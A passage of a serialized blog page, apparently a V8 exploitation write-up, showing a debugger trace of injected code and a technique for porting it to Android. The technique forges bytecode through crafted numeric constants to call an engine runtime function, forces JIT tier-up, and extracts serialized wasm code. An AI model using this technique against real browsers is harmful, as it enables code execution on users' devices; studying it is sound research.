"style":698},[136491],{"type":27,"value":136492}," f",{"type":21,"tag":198,"props":136494,"children":136495},{"style":211},[136496],{"type":27,"value":3404},{"type":21,"tag":198,"props":136498,"children":136499},{"class":200,"line":4493},[136500],{"type":21,"tag":198,"props":136501,"children":136502},{"style":211},[136503],{"type":27,"value":102367},{"type":21,"tag":30,"props":136505,"children":136506},{},[136507],{"type":27,"value":136508},"Running this in a debugger shows the expected breakpoint:",{"type":21,"tag":187,"props":136510,"children":136512},{"code":136511},"Thread 1 \"d8\" received signal SIGTRAP, Trace/breakpoint trap.\n0x00002ae46bfc1841 in ?? ()\n────────────────────────────────────────────────────────────────────────────\n 0x2ae46bfc183c add BYTE PTR [rax], al\n 0x2ae46bfc183e add BYTE PTR [rax], al\n 0x2ae46bfc1840 int3\n → 0x2ae46bfc1841 mov rbp, rsp\n",[136513],{"type":21,"tag":194,"props":136514,"children":136515},{"__ignoreMap":7},[136516],{"type":27,"value":136511},{"type":21,"tag":59,"props":136518,"children":136520},{"id":136519},"porting-to-android",[136521],{"type":27,"value":136522},"Porting to Android",{"type":21,"tag":30,"props":136524,"children":136525},{},[136526,136528,136533,136535,136540,136542,136547,136549,136555],{"type":27,"value":136527},"The serialized x86-64 code can’t be used on the device because the architecture differs, and ",{"type":21,"tag":194,"props":136529,"children":136531},{"className":136530},[],[136532],{"type":27,"value":133312},{"type":27,"value":136534}," fails. We cross-compiled ",{"type":21,"tag":194,"props":136536,"children":136538},{"className":136537},[],[136539],{"type":27,"value":132471},{"type":27,"value":136541}," for arm64 and serialized the module there, but this still didn’t work on the device and ",{"type":21,"tag":194,"props":136543,"children":136545},{"className":136544},[],[136546],{"type":27,"value":133312},{"type":27,"value":136548}," returned ",{"type":21,"tag":194,"props":136550,"children":136552},{"className":136551},[],[136553],{"type":27,"value":136554},"undefined",{"type":27,"value":658},{"type":21,"tag":30,"props":136557,"children":136558},{},[136559,136561,136566,136568,136573],{"type":27,"value":136560},"Instead, we modified the bytecode to call ",{"type":21,"tag":194,"props":136562,"children":136564},{"className":136563},[],[136565],{"type":27,"value":133338},{"type":27,"value":136567}," directly on the device. The idea is to serialize the code on the device and then feed the resulting bytes back into the original bytecode that calls ",{"type":21,"tag":194,"props":136569,"children":136571},{"className":136570},[],[136572],{"type":27,"value":133312},{"type":27,"value":658},{"type":21,"tag":187,"props":136575,"children":136577},{"code":136576,"language":36389,"meta":7,"className":36387,"style":7},"try {\n ${'a1 + 0xa931111;'.repeat(0x059301 - 1)}\n a1 + 0x03027a6c;\n throw 0x393e71a;\n} catch (e) {\n console.log(\"foo\");\n yield a16;\n}\n",[136578],{"type":21,"tag":194,"props":136579,"children":136580},{"__ignoreMap":7},[136581,136592,136636,136656,136672,136695,136722,136737],{"type":21,"tag":198,"props":136582,"children":136583},{"class":200,"line":201},[136584,136588],{"type":21,"tag":198,"props":136585,"children":136586},{"style":640},[136587],{"type":27,"value":1414},{"type":21,"tag":198,"props":136589,"children":136590},{"style":211},[136591],{"type":27,"value":233},{"type":21,"tag":198,"props":136593,"children":136594},{"class":200,"line":217},[136595,136599,136603,136607,136611,136615,136619,136624,136628,136632],{"type":21,"tag":198,"props":136596,"children":136597},{"style":226},[136598],{"type":27,"value":133579},{"type":21,"tag":198,"props":136600,"children":136601},{"style":211},[136602],{"type":27,"value":77000},{"type":21,"tag":198,"props":136604,"children":136605},{"style":205},[136606],{"type":27,"value":133588},{"type":21,"tag":198,"props":136608,"children":136609},{"style":211},[136610],{"type":27,"value":658},{"type":21,"tag":198,"props":136612,"children":136613},{"style":698},[136614],{"type":27,"value":133597},{"type":21,"tag":198,"props":136616,"children":136617},{"style":211},[136618],{"type":27,"value":706},{"type":21,"tag":198,"props":136620,"children":136621},{"style":2540},[136622],{"type":27,"value":136623},"0x059301",{"type":21,"tag":198,"props":136625,"children":136626},{"style":683},[136627],{"type":27,"value":51631},{"type":21,"tag":198,"props":136629,"children":136630},{"style":2540},[136631],{"type":27,"value":5335},{"type":21,"tag":198,"props":136633,"children":136634},{"style":211},[136635],{"type":27,"value":133619},{"type":21,"tag":198,"props":136637,"children":136638},{"class":200,"line":236},[136639,136643,136647,136652],{"type":21,"tag":198,"props":136640,"children":136641},{"style":226},[136642],{"type":27,"value":133627},{"type":21,"tag":198,"props":136644,"children":136645},{"style":683},[136646],{"type":27,"value":1440},{"type":21,"tag":198,"props":136648,"children":136649},{"style":2540},[136650],{"type":27,"value":136651}," 0x03027a6c",{"type":21,"tag":198,"props":136653,"children":136654},{"style":211},[136655],{"type":27,"value":1483},{"type":21,"tag":198,"props":136657,"children":136658},{"class":200,"line":260},[136659,136663,136668],{"type":21,"tag":198,"props":136660,"children":136661},{"style":640},[136662],{"type":27,"value":35976},{"type":21,"tag":198,"props":136664,"children":136665},{"style":2540},[136666],{"type":27,"value":136667}," 0x393e71a",{"type":21,"tag":198,"props":136669,"children":136670},{"style":211},[136671],{"type":27,"value":1483},{"type":21,"tag":198,"props":136673,"children":136674},{"class":200,"line":281},[136675,136679,136683,136687,136691],{"type":21,"tag":198,"props":136676,"children":136677},{"style":211},[136678],{"type":27,"value":1270},{"type":21,"tag":198,"props":136680,"children":136681},{"style":640},[136682],{"type":27,"value":1498},{"type":21,"tag":198,"props":136684,"children":136685},{"style":211},[136686],{"type":27,"value":648},{"type":21,"tag":198,"props":136688,"children":136689},{"style":226},[136690],{"type":27,"value":51830},{"type":21,"tag":198,"props":136692,"children":136693},{"style":211},[136694],{"type":27,"value":668},{"type":21,"tag":198,"props":136696,"children":136697},{"class":200,"line":302},[136698,136702,136706,136710,136714,136718],{"type":21,"tag":198,"props":136699,"children":136700},{"style":226},[136701],{"type":27,"value":102326},{"type":21,"tag":198,"props":136703,"children":136704},{"style":211},[136705],{"type":27,"value":658},{"type":21,"tag":198,"props":136707,"children":136708},{"style":698},[136709],{"type":27,"value":102335},{"type":21,"tag":198,"props":136711,"children":136712},{"style":211},[136713],{"type":27,"value":706},{"type":21,"tag":198,"props":136715,"children":136716},{"style":205},[136717],{"type":27,"value":133703},{"type":21,"tag":198,"props":136719,"children":136720},{"style":211},[136721],{"type":27,"value":1470},{"type":21,"tag":198,"props":136723,"children":136724},{"class":200,"line":323},[136725,136729,136733],{"type":21,"tag":198,"props":136726,"children":136727},{"style":640},[136728],{"type":27,"value":133715},{"type":21,"tag":198,"props":136730,"children":136731},{"style":226},[136732],{"type":27,"value":133720},{"type":21,"tag":198,"props":136734,"children":136735},{"style":211},[136736],{"type":27,"value":1483},{"type":21,"tag":198,"props":136738,"children":136739},{"class":200,"line":344},[136740],{"type":21,"tag":198,"props":136741,"children":136742},{"style":211},[136743],{"type":27,"value":1120},{"type":21,"tag":30,"props":136745,"children":136746},{},[136747,136749,136755,136757,136763,136765,136771,136773,136778,136780,136786,136788,136793,136794,136800],{"type":27,"value":136748},"Here, ",{"type":21,"tag":194,"props":136750,"children":136752},{"className":136751},[],[136753],{"type":27,"value":136754},"a1 + 0x03027a6c",{"type":27,"value":136756}," generates the bytes ",{"type":21,"tag":194,"props":136758,"children":136760},{"className":136759},[],[136761],{"type":27,"value":136762},"01 4b 6c 7a 02 03",{"type":27,"value":136764},", where ",{"type":21,"tag":194,"props":136766,"children":136768},{"className":136767},[],[136769],{"type":27,"value":136770},"0x6c",{"type":27,"value":136772}," is the ",{"type":21,"tag":194,"props":136774,"children":136776},{"className":136775},[],[136777],{"type":27,"value":133296},{"type":27,"value":136779}," opcode, ",{"type":21,"tag":194,"props":136781,"children":136783},{"className":136782},[],[136784],{"type":27,"value":136785},"0x027a",{"type":27,"value":136787}," is the function ID of ",{"type":21,"tag":194,"props":136789,"children":136791},{"className":136790},[],[136792],{"type":27,"value":133338},{"type":27,"value":7299},{"type":21,"tag":194,"props":136795,"children":136797},{"className":136796},[],[136798],{"type":27,"value":136799},"0x03",{"type":27,"value":136801}," is the register index holding its first argument.",{"type":21,"tag":30,"props":136803,"children":136804},{},[136805,136807,136812,136813,136818,136820,136825],{"type":27,"value":136806},"Our earlier javascript snippet that serialized the wasm module used two native calls: ",{"type":21,"tag":194,"props":136808,"children":136810},{"className":136809},[],[136811],{"type":27,"value":133338},{"type":27,"value":11801},{"type":21,"tag":194,"props":136814,"children":136816},{"className":136815},[],[136817],{"type":27,"value":134306},{"type":27,"value":136819},". To avoid patching the bytecode again to invoke ",{"type":21,"tag":194,"props":136821,"children":136823},{"className":136822},[],[136824],{"type":27,"value":134306},{"type":27,"value":136826},", we can force Turbofan to compile the target function like this:",{"type":21,"tag":187,"props":136828,"children":136830},{"code":136829,"language":36389,"meta":7,"className":36387,"style":7},"// %WasmTierUpFunction(func);\nfor (let i = 0; i \u003C 0x100000; i++) {\n func();\n}\n",[136831],{"type":21,"tag":194,"props":136832,"children":136833},{"__ignoreMap":7},[136834,136842,136902,136914],{"type":21,"tag":198,"props":136835,"children":136836},{"class":200,"line":201},[136837],{"type":21,"tag":198,"props":136838,"children":136839},{"style":1233},[136840],{"type":27,"value":136841},"// %WasmTierUpFunction(func);\n",{"type":21,"tag":198,"props":136843,"children":136844},{"class":200,"line":217},[136845,136849,136853,136857,136861,136865,136869,136873,136877,136881,136886,136890,136894,136898],{"type":21,"tag":198,"props":136846,"children":136847},{"style":640},[136848],{"type":27,"value":4198},{"type":21,"tag":198,"props":136850,"children":136851},{"style":211},[136852],{"type":27,"value":648},{"type":21,"tag":198,"props":136854,"children":136855},{"style":249},[136856],{"type":27,"value":12597},{"type":21,"tag":198,"props":136858,"children":136859},{"style":226},[136860],{"type":27,"value":4203},{"type":21,"tag":198,"props":136862,"children":136863},{"style":683},[136864],{"type":27,"value":979},{"type":21,"tag":198,"props":136866,"children":136867},{"style":2540},[136868],{"type":27,"value":3855},{"type":21,"tag":198,"props":136870,"children":136871},{"style":211},[136872],{"type":27,"value":18028},{"type":21,"tag":198,"props":136874,"children":136875},{"style":226},[136876],{"type":27,"value":4544},{"type":21,"tag":198,"props":136878,"children":136879},{"style":683},[136880],{"type":27,"value":9529},{"type":21,"tag":198,"props":136882,"children":136883},{"style":2540},[136884],{"type":27,"value":136885}," 0x100000",{"type":21,"tag":198,"props":136887,"children":136888},{"style":211},[136889],{"type":27,"value":18028},{"type":21,"tag":198,"props":136891,"children":136892},{"style":226},[136893],{"type":27,"value":4544},{"type":21,"tag":198,"props":136895,"children":136896},{"style":683},[136897],{"type":27,"value":51645},{"type":21,"tag":198,"props":136899,"children":136900},{"style":211},[136901],{"type":27,"value":668},{"type":21,"tag":198,"props":136903,"children":136904},{"class":200,"line":236},[136905,136910],{"type":21,"tag":198,"props":136906,"children":136907},{"style":698},[136908],{"type":27,"value":136909}," func",{"type":21,"tag":198,"props":136911,"children":136912},{"style":211},[136913],{"type":27,"value":3404},{"type":21,"tag":198,"props":136915,"children":136916},{"class":200,"line":260},[136917],{"type":21,"tag":198,"props":136918,"children":136919},{"style":211},[136920],{"type":27,"value":1120},{"type":21,"tag":30,"props":136922,"children":136923},{},[136924],{"type":27,"value":136925},"Finally, running this code on the device:",{"type":21,"tag":187,"props":136927,"children":136929},{"code":136928,"language":36389,"meta":7,"className":36387,"style":7},"(async () => {\n var wasm_code = new Uint8Array([\n 0, 97, 115, 109, 1, 0, 0, 0, 1, 4, 1, 96, 0, 0, 3, 2, 1, 0, 7, 9, 1, 5, 115, 104, 101, 108, 108,\n 0, 0, 10, 4, 1, 2, 0, 11,\n ]);\n var mod = new WebAssembly.Module(wasm_code);\n var inst = new WebAssembly.Instance(mod);\n var func = inst.exports.shell;\n\n // %WasmTierUpFunction(func);\n for (let i = 0; i \u003C 0x100000; i++) {\n func();\n }\n\n let r = bug(mod);\n result = (await r.next()).value;\n console.log(result);\n\n let result_bytes = new Uint8Array(result);\n console.log('[' + result_bytes.join(', ') + ']');\n})();\n",[136930],{"type":21,"tag":194,"props":136931,"children":136932},{"__ignoreMap":7},[136933,136956,136984,137203,137270,137277,137320,137363,137402,137409,137417,137477,137489,137496,137503,137534,137577,137604,137611,137647,137710],{"type":21,"tag":198,"props":136934,"children":136935},{"class":200,"line":201},[136936,136940,136944,136948,136952],{"type":21,"tag":198,"props":136937,"children":136938},{"style":211},[136939],{"type":27,"value":706},{"type":21,"tag":198,"props":136941,"children":136942},{"style":249},[136943],{"type":27,"value":36919},{"type":21,"tag":198,"props":136945,"children":136946},{"style":211},[136947],{"type":27,"value":40452},{"type":21,"tag":198,"props":136949,"children":136950},{"style":249},[136951],{"type":27,"value":15626},{"type":21,"tag":198,"props":136953,"children":136954},{"style":211},[136955],{"type":27,"value":233},{"type":21,"tag":198,"props":136957,"children":136958},{"class":200,"line":217},[136959,136964,136968,136972,136976,136980],{"type":21,"tag":198,"props":136960,"children":136961},{"style":249},[136962],{"type":27,"value":136963}," var",{"type":21,"tag":198,"props":136965,"children":136966},{"style":226},[136967],{"type":27,"value":133836},{"type":21,"tag":198,"props":136969,"children":136970},{"style":683},[136971],{"type":27,"value":979},{"type":21,"tag":198,"props":136973,"children":136974},{"style":249},[136975],{"type":27,"value":737},{"type":21,"tag":198,"props":136977,"children":136978},{"style":698},[136979],{"type":27,"value":133849},{"type":21,"tag":198,"props":136981,"children":136982},{"style":211},[136983],{"type":27,"value":133854},{"type":21,"tag":198,"props":136985,"children":136986},{"class":200,"line":236},[136987,136991,136995,136999,137003,137007,137011,137015,137019,137023,137027,137031,137035,137039,137043,137047,137051,137055,137059,137063,137067,137071,137075,137079,137083,137087,137091,137095,137099,137103,137107,137111,137115,137119,137123,137127,137131,137135,137139,137143,137147,137151,137155,137159,137163,137167,137171,137175,137179,137183,137187,137191,137195,137199],{"type":21,"tag":198,"props":136988,"children":136989},{"style":2540},[136990],{"type":27,"value":134579},{"type":21,"tag":198,"props":136992,"children":136993},{"style":211},[136994],{"type":27,"value":828},{"type":21,"tag":198,"props":136996,"children":136997},{"style":2540},[136998],{"type":27,"value":133871},{"type":21,"tag":198,"props":137000,"children":137001},{"style":211},[137002],{"type":27,"value":828},{"type":21,"tag":198,"props":137004,"children":137005},{"style":2540},[137006],{"type":27,"value":133880},{"type":21,"tag":198,"props":137008,"children":137009},{"style":211},[137010],{"type":27,"value":828},{"type":21,"tag":198,"props":137012,"children":137013},{"style":2540},[137014],{"type":27,"value":133889},{"type":21,"tag":198,"props":137016,"children":137017},{"style":211},[137018],{"type":27,"value":828},{"type":21,"tag":198,"props":137020,"children":137021},{"style":2540},[137022],{"type":27,"value":134},{"type":21,"tag":198,"props":137024,"children":137025},{"style":211},[137026],{"type":27,"value":828},{"type":21,"tag":198,"props":137028,"children":137029},{"style":2540},[137030],{"type":27,"value":3482},{"type":21,"tag":198,"props":137032,"children":137033},{"style":211},[137034],{"type":27,"value":828},{"type":21,"tag":198,"props":137036,"children":137037},{"style":2540},[137038],{"type":27,"value":3482},{"type":21,"tag":198,"props":137040,"children":137041},{"style":211},[137042],{"type":27,"value":828},{"type":21,"tag":198,"props":137044,"children":137045},{"style":2540},[137046],{"type":27,"value":3482},{"type":21,"tag":198,"props":137048,"children":137049},{"style":211},[137050],{"type":27,"value":828},{"type":21,"tag":198,"props":137052,"children":137053},{"style":2540},[137054],{"type":27,"value":134},{"type":21,"tag":198,"props":137056,"children":137057},{"style":211},[137058],{"type":27,"value":828},{"type":21,"tag":198,"props":137060,"children":137061},{"style":2540},[137062],{"type":27,"value":18330},{"type":21,"tag":198,"props":137064,"children":137065},{"style":211},[137066],{"type":27,"value":828},{"type":21,"tag":198,"props":137068,"children":137069},{"style":2540},[137070],{"type":27,"value":134},{"type":21,"tag":198,"props":137072,"children":137073},{"style":211},[137074],{"type":27,"value":828},{"type":21,"tag":198,"props":137076,"children":137077},{"style":2540},[137078],{"type":27,"value":133954},{"type":21,"tag":198,"props":137080,"children":137081},{"style":211},[137082],{"type":27,"value":828},{"type":21,"tag":198,"props":137084,"children":137085},{"style":2540},[137086],{"type":27,"value":3482},{"type":21,"tag":198,"props":137088,"children":137089},{"style":211},[137090],{"type":27,"value":828},{"type":21,"tag":198,"props":137092,"children":137093},{"style":2540},[137094],{"type":27,"value":3482},{"type":21,"tag":198,"props":137096,"children":137097},{"style":211},[137098],{"type":27,"value":828},{"type":21,"tag":198,"props":137100,"children":137101},{"style":2540},[137102],{"type":27,"value":18097},{"type":21,"tag":198,"props":137104,"children":137105},{"style":211},[137106],{"type":27,"value":828},{"type":21,"tag":198,"props":137108,"children":137109},{"style":2540},[137110],{"type":27,"value":3931},{"type":21,"tag":198,"props":137112,"children":137113},{"style":211},[137114],{"type":27,"value":828},{"type":21,"tag":198,"props":137116,"children":137117},{"style":2540},[137118],{"type":27,"value":134},{"type":21,"tag":198,"props":137120,"children":137121},{"style":211},[137122],{"type":27,"value":828},{"type":21,"tag":198,"props":137124,"children":137125},{"style":2540},[137126],{"type":27,"value":3482},{"type":21,"tag":198,"props":137128,"children":137129},{"style":211},[137130],{"type":27,"value":828},{"type":21,"tag":198,"props":137132,"children":137133},{"style":2540},[137134],{"type":27,"value":55047},{"type":21,"tag":198,"props":137136,"children":137137},{"style":211},[137138],{"type":27,"value":828},{"type":21,"tag":198,"props":137140,"children":137141},{"style":2540},[137142],{"type":27,"value":56262},{"type":21,"tag":198,"props":137144,"children":137145},{"style":211},[137146],{"type":27,"value":828},{"type":21,"tag":198,"props":137148,"children":137149},{"style":2540},[137150],{"type":27,"value":134},{"type":21,"tag":198,"props":137152,"children":137153},{"style":211},[137154],{"type":27,"value":828},{"type":21,"tag":198,"props":137156,"children":137157},{"style":2540},[137158],{"type":27,"value":18911},{"type":21,"tag":198,"props":137160,"children":137161},{"style":211},[137162],{"type":27,"value":828},{"type":21,"tag":198,"props":137164,"children":137165},{"style":2540},[137166],{"type":27,"value":133880},{"type":21,"tag":198,"props":137168,"children":137169},{"style":211},[137170],{"type":27,"value":828},{"type":21,"tag":198,"props":137172,"children":137173},{"style":2540},[137174],{"type":27,"value":134051},{"type":21,"tag":198,"props":137176,"children":137177},{"style":211},[137178],{"type":27,"value":828},{"type":21,"tag":198,"props":137180,"children":137181},{"style":2540},[137182],{"type":27,"value":134060},{"type":21,"tag":198,"props":137184,"children":137185},{"style":211},[137186],{"type":27,"value":828},{"type":21,"tag":198,"props":137188,"children":137189},{"style":2540},[137190],{"type":27,"value":134069},{"type":21,"tag":198,"props":137192,"children":137193},{"style":211},[137194],{"type":27,"value":828},{"type":21,"tag":198,"props":137196,"children":137197},{"style":2540},[137198],{"type":27,"value":134069},{"type":21,"tag":198,"props":137200,"children":137201},{"style":211},[137202],{"type":27,"value":257},{"type":21,"tag":198,"props":137204,"children":137205},{"class":200,"line":260},[137206,137210,137214,137218,137222,137226,137230,137234,137238,137242,137246,137250,137254,137258,137262,137266],{"type":21,"tag":198,"props":137207,"children":137208},{"style":2540},[137209],{"type":27,"value":134579},{"type":21,"tag":198,"props":137211,"children":137212},{"style":211},[137213],{"type":27,"value":828},{"type":21,"tag":198,"props":137215,"children":137216},{"style":2540},[137217],{"type":27,"value":3482},{"type":21,"tag":198,"props":137219,"children":137220},{"style":211},[137221],{"type":27,"value":828},{"type":21,"tag":198,"props":137223,"children":137224},{"style":2540},[137225],{"type":27,"value":89635},{"type":21,"tag":198,"props":137227,"children":137228},{"style":211},[137229],{"type":27,"value":828},{"type":21,"tag":198,"props":137231,"children":137232},{"style":2540},[137233],{"type":27,"value":18330},{"type":21,"tag":198,"props":137235,"children":137236},{"style":211},[137237],{"type":27,"value":828},{"type":21,"tag":198,"props":137239,"children":137240},{"style":2540},[137241],{"type":27,"value":134},{"type":21,"tag":198,"props":137243,"children":137244},{"style":211},[137245],{"type":27,"value":828},{"type":21,"tag":198,"props":137247,"children":137248},{"style":2540},[137249],{"type":27,"value":3931},{"type":21,"tag":198,"props":137251,"children":137252},{"style":211},[137253],{"type":27,"value":828},{"type":21,"tag":198,"props":137255,"children":137256},{"style":2540},[137257],{"type":27,"value":3482},{"type":21,"tag":198,"props":137259,"children":137260},{"style":211},[137261],{"type":27,"value":828},{"type":21,"tag":198,"props":137263,"children":137264},{"style":2540},[137265],{"type":27,"value":134145},{"type":21,"tag":198,"props":137267,"children":137268},{"style":211},[137269],{"type":27,"value":257},{"type":21,"tag":198,"props":137271,"children":137272},{"class":200,"line":281},[137273],{"type":21,"tag":198,"props":137274,"children":137275},{"style":211},[137276],{"type":27,"value":134866},{"type":21,"tag":198,"props":137278,"children":137279},{"class":200,"line":302},[137280,137284,137288,137292,137296,137300,137304,137308,137312,137316],{"type":21,"tag":198,"props":137281,"children":137282},{"style":249},[137283],{"type":27,"value":136963},{"type":21,"tag":198,"props":137285,"children":137286},{"style":226},[137287],{"type":27,"value":72004},{"type":21,"tag":198,"props":137289,"children":137290},{"style":683},[137291],{"type":27,"value":979},{"type":21,"tag":198,"props":137293,"children":137294},{"style":249},[137295],{"type":27,"value":737},{"type":21,"tag":198,"props":137297,"children":137298},{"style":226},[137299],{"type":27,"value":134180},{"type":21,"tag":198,"props":137301,"children":137302},{"style":211},[137303],{"type":27,"value":658},{"type":21,"tag":198,"props":137305,"children":137306},{"style":698},[137307],{"type":27,"value":86301},{"type":21,"tag":198,"props":137309,"children":137310},{"style":211},[137311],{"type":27,"value":706},{"type":21,"tag":198,"props":137313,"children":137314},{"style":226},[137315],{"type":27,"value":134197},{"type":21,"tag":198,"props":137317,"children":137318},{"style":211},[137319],{"type":27,"value":1470},{"type":21,"tag":198,"props":137321,"children":137322},{"class":200,"line":323},[137323,137327,137331,137335,137339,137343,137347,137351,137355,137359],{"type":21,"tag":198,"props":137324,"children":137325},{"style":249},[137326],{"type":27,"value":136963},{"type":21,"tag":198,"props":137328,"children":137329},{"style":226},[137330],{"type":27,"value":134213},{"type":21,"tag":198,"props":137332,"children":137333},{"style":683},[137334],{"type":27,"value":979},{"type":21,"tag":198,"props":137336,"children":137337},{"style":249},[137338],{"type":27,"value":737},{"type":21,"tag":198,"props":137340,"children":137341},{"style":226},[137342],{"type":27,"value":134180},{"type":21,"tag":198,"props":137344,"children":137345},{"style":211},[137346],{"type":27,"value":658},{"type":21,"tag":198,"props":137348,"children":137349},{"style":698},[137350],{"type":27,"value":134234},{"type":21,"tag":198,"props":137352,"children":137353},{"style":211},[137354],{"type":27,"value":706},{"type":21,"tag":198,"props":137356,"children":137357},{"style":226},[137358],{"type":27,"value":134243},{"type":21,"tag":198,"props":137360,"children":137361},{"style":211},[137362],{"type":27,"value":1470},{"type":21,"tag":198,"props":137364,"children":137365},{"class":200,"line":344},[137366,137370,137374,137378,137382,137386,137390,137394,137398],{"type":21,"tag":198,"props":137367,"children":137368},{"style":249},[137369],{"type":27,"value":136963},{"type":21,"tag":198,"props":137371,"children":137372},{"style":226},[137373],{"type":27,"value":80391},{"type":21,"tag":198,"props":137375,"children":137376},{"style":683},[137377],{"type":27,"value":979},{"type":21,"tag":198,"props":137379,"children":137380},{"style":226},[137381],{"type":27,"value":134213},{"type":21,"tag":198,"props":137383,"children":137384},{"style":211},[137385],{"type":27,"value":658},{"type":21,"tag":198,"props":137387,"children":137388},{"style":226},[137389],{"type":27,"value":1969},{"type":21,"tag":198,"props":137391,"children":137392},{"style":211},[137393],{"type":27,"value":658},{"type":21,"tag":198,"props":137395,"children":137396},{"style":226},[137397],{"type":27,"value":134283},{"type":21,"tag":198,"props":137399,"children":137400},{"style":211},[137401],{"type":27,"value":1483},{"type":21,"tag":198,"props":137403,"children":137404},{"class":200,"line":365},[137405],{"type":21,"tag":198,"props":137406,"children":137407},{"emptyLinePlaceholder":16},[137408],{"type":27,"value":1283},{"type":21,"tag":198,"props":137410,"children":137411},{"class":200,"line":386},[137412],{"type":21,"tag":198,"props":137413,"children":137414},{"style":1233},[137415],{"type":27,"value":137416}," // %WasmTierUpFunction(func);\n",{"type":21,"tag":198,"props":137418,"children":137419},{"class":200,"line":408},[137420,137425,137429,137433,137437,137441,137445,137449,137453,137457,137461,137465,137469,137473],{"type":21,"tag":198,"props":137421,"children":137422},{"style":640},[137423],{"type":27,"value":137424}," for",{"type":21,"tag":198,"props":137426,"children":137427},{"style":211},[137428],{"type":27,"value":648},{"type":21,"tag":198,"props":137430,"children":137431},{"style":249},[137432],{"type":27,"value":12597},{"type":21,"tag":198,"props":137434,"children":137435},{"style":226},[137436],{"type":27,"value":4203},{"type":21,"tag":198,"props":137438,"children":137439},{"style":683},[137440],{"type":27,"value":979},{"type":21,"tag":198,"props":137442,"children":137443},{"style":2540},[137444],{"type":27,"value":3855},{"type":21,"tag":198,"props":137446,"children":137447},{"style":211},[137448],{"type":27,"value":18028},{"type":21,"tag":198,"props":137450,"children":137451},{"style":226},[137452],{"type":27,"value":4544},{"type":21,"tag":198,"props":137454,"children":137455},{"style":683},[137456],{"type":27,"value":9529},{"type":21,"tag":198,"props":137458,"children":137459},{"style":2540},[137460],{"type":27,"value":136885},{"type":21,"tag":198,"props":137462,"children":137463},{"style":211},[137464],{"type":27,"value":18028},{"type":21,"tag":198,"props":137466,"children":137467},{"style":226},[137468],{"type":27,"value":4544},{"type":21,"tag":198,"props":137470,"children":137471},{"style":683},[137472],{"type":27,"value":51645},{"type":21,"tag":198,"props":137474,"children":137475},{"style":211},[137476],{"type":27,"value":668},{"type":21,"tag":198,"props":137478,"children":137479},{"class":200,"line":429},[137480,137485],{"type":21,"tag":198,"props":137481,"children":137482},{"style":698},[137483],{"type":27,"value":137484}," func",{"type":21,"tag":198,"props":137486,"children":137487},{"style":211},[137488],{"type":27,"value":3404},{"type":21,"tag":198,"props":137490,"children":137491},{"class":200,"line":450},[137492],{"type":21,"tag":198,"props":137493,"children":137494},{"style":211},[137495],{"type":27,"value":2249},{"type":21,"tag":198,"props":137497,"children":137498},{"class":200,"line":468},[137499],{"type":21,"tag":198,"props":137500,"children":137501},{"emptyLinePlaceholder":16},[137502],{"type":27,"value":1283},{"type":21,"tag":198,"props":137504,"children":137505},{"class":200,"line":477},[137506,137510,137514,137518,137522,137526,137530],{"type":21,"tag":198,"props":137507,"children":137508},{"style":249},[137509],{"type":27,"value":1023},{"type":21,"tag":198,"props":137511,"children":137512},{"style":226},[137513],{"type":27,"value":136319},{"type":21,"tag":198,"props":137515,"children":137516},{"style":683},[137517],{"type":27,"value":979},{"type":21,"tag":198,"props":137519,"children":137520},{"style":698},[137521],{"type":27,"value":136328},{"type":21,"tag":198,"props":137523,"children":137524},{"style":211},[137525],{"type":27,"value":706},{"type":21,"tag":198,"props":137527,"children":137528},{"style":226},[137529],{"type":27,"value":134243},{"type":21,"tag":198,"props":137531,"children":137532},{"style":211},[137533],{"type":27,"value":1470},{"type":21,"tag":198,"props":137535,"children":137536},{"class":200,"line":494},[137537,137541,137545,137549,137553,137557,137561,137565,137569,137573],{"type":21,"tag":198,"props":137538,"children":137539},{"style":226},[137540],{"type":27,"value":136364},{"type":21,"tag":198,"props":137542,"children":137543},{"style":683},[137544],{"type":27,"value":979},{"type":21,"tag":198,"props":137546,"children":137547},{"style":211},[137548],{"type":27,"value":648},{"type":21,"tag":198,"props":137550,"children":137551},{"style":640},[137552],{"type":27,"value":33695},{"type":21,"tag":198,"props":137554,"children":137555},{"style":226},[137556],{"type":27,"value":136319},{"type":21,"tag":198,"props":137558,"children":137559},{"style":211},[137560],{"type":27,"value":658},{"type":21,"tag":198,"props":137562,"children":137563},{"style":698},[137564],{"type":27,"value":57942},{"type":21,"tag":198,"props":137566,"children":137567},{"style":211},[137568],{"type":27,"value":136393},{"type":21,"tag":198,"props":137570,"children":137571},{"style":226},[137572],{"type":27,"value":39910},{"type":21,"tag":198,"props":137574,"children":137575},{"style":211},[137576],{"type":27,"value":1483},{"type":21,"tag":198,"props":137578,"children":137579},{"class":200,"line":515},[137580,137584,137588,137592,137596,137600],{"type":21,"tag":198,"props":137581,"children":137582},{"style":226},[137583],{"type":27,"value":102326},{"type":21,"tag":198,"props":137585,"children":137586},{"style":211},[137587],{"type":27,"value":658},{"type":21,"tag":198,"props":137589,"children":137590},{"style":698},[137591],{"type":27,"value":102335},{"type":21,"tag":198,"props":137593,"children":137594},{"style":211},[137595],{"type":27,"value":706},{"type":21,"tag":198,"props":137597,"children":137598},{"style":226},[137599],{"type":27,"value":9893},{"type":21,"tag":198,"props":137601,"children":137602},{"style":211},[137603],{"type":27,"value":1470},{"type":21,"tag":198,"props":137605,"children":137606},{"class":200,"line":4484},[137607],{"type":21,"tag":198,"props":137608,"children":137609},{"emptyLinePlaceholder":16},[137610],{"type":27,"value":1283},{"type":21,"tag":198,"props":137612,"children":137613},{"class":200,"line":4493},[137614,137618,137623,137627,137631,137635,137639,137643],{"type":21,"tag":198,"props":137615,"children":137616},{"style":249},[137617],{"type":27,"value":1023},{"type":21,"tag":198,"props":137619,"children":137620},{"style":226},[137621],{"type":27,"value":137622}," result_bytes",{"type":21,"tag":198,"props":137624,"children":137625},{"style":683},[137626],{"type":27,"value":979},{"type":21,"tag":198,"props":137628,"children":137629},{"style":249},[137630],{"type":27,"value":737},{"type":21,"tag":198,"props":137632,"children":137633},{"style":698},[137634],{"type":27,"value":133849},{"type":21,"tag":198,"props":137636,"children":137637},{"style":211},[137638],{"type":27,"value":706},{"type":21,"tag":198,"props":137640,"children":137641},{"style":226},[137642],{"type":27,"value":9893},{"type":21,"tag":198,"props":137644,"children":137645},{"style":211},[137646],{"type":27,"value":1470},{"type":21,"tag":198,"props":137648,"children":137649},{"class":200,"line":4561},[137650,137654,137658,137662,137666,137670,137674,137678,137682,137686,137690,137694,137698,137702,137706],{"type":21,"tag":198,"props":137651,"children":137652},{"style":226},[137653],{"type":27,"value":102326},{"type":21,"tag":198,"props":137655,"children":137656},{"style":211},[137657],{"type":27,"value":658},{"type":21,"tag":198,"props":137659,"children":137660},{"style":698},[137661],{"type":27,"value":102335},{"type":21,"tag":198,"props":137663,"children":137664},{"style":211},[